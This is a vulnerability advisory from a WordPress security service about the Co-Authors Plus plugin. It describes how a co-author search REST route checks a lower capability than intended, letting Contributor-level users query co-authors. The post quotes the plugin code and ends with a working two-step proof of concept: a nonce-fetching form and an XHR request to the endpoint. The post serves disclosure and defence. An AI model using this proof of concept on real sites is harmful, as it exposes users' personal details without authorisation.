1 Nov 2022

Authenticated Information Disclosure Vulnerability in Co-Authors Plus

As detailed in a separate post, earlier this year it was disclosed the WordPress plugin Co-Authors Plus had contained a vulnerability that disclosed email addresses through a REST API route. That is still possible through another REST API route.

In the file /php/class-coauthors-endpoint.php, a REST API route to search for coauthors is registered:

54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
public function add_endpoints() {
	register_rest_route(
		static::NS,
		static::SEARCH_ROUTE,
		array(
			array(
				'methods'             => 'GET',
				'callback'            => array( $this, 'get_coauthors_search_results' ),
				'permission_callback' => array( $this, 'can_edit_posts' ),
				'args'                => array(
					'q'                => array(
						'description' => __( 'Text to search.' ),
						'required'    => false,
						'type'        => 'string',
					),
					'existing_authors' => array(
						'description' => __( 'Names of existing coauthors to exclude from search results.' ),
						'type'        => 'string',
						'required'    => false,
					),
				),
			),
		)
	);

The permission callback in that calls the function can_edit_posts(), which makes the route accessible users with the “edit_posts” capability:

195
196
197
public function can_edit_posts() {
	return current_user_can( 'edit_posts' );
}

That makes it accessible to lower-level users than it appears is intended. As a user with the Contributor or Author role can access it, but they are not shown the UI element when editing a post that accesses that.

According to the plugins documentation (and confirmed in the code), the capability intended to access that is “edit_others_posts”:

To assign co-authors to posts, a WordPress user will need the ‘edit_others_posts’ capability. This is typically granted to the Editor role, but can be altered with the ‘coauthors_plus_edit_authors’ filter.

That is a capability that  only Editors and Administrators normally have.

WordPress Causes Full Disclosure

As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)

You can notify the developer of this issue on the forum as well.

After four years, the moderators have finally tacitly admitted they were behaving inappropriately and have made moves to fix the problems (though incompletely), so these full disclosures can be ended if they simply restore access to our accounts and plugins in the Plugin Directory. Hopefully that takes less than four years.

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Proof of Concept

The following proof concept will show co-authors that match the specified search term, when logged in to WordPress as a Contributor.

First get a valid REST nonce.

Replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="interval" value="60" />
<input type="hidden" name="_nonce" value="fb5bca0cbe" />
<input type="hidden" name="action" value="heartbeat" />
<input type="hidden" name="has_focus" value="false" />
<input type="submit" value="Submit" />
</form>
</body>

Then use that in the second request that will return the results of a search (look for those in your web browser’s developer tools’ results for the request made). Replace “[search term]” with your preferred search term.

<html>
<body>
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", 'http://[path to WordPress]/wp-json/coauthors/v1/search/?q=[search term]', true);
xhr.setRequestHeader("X-WP-Nonce", "[REST nonce]");
xhr.send();
</script>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Leave a Reply

Your email address will not be published.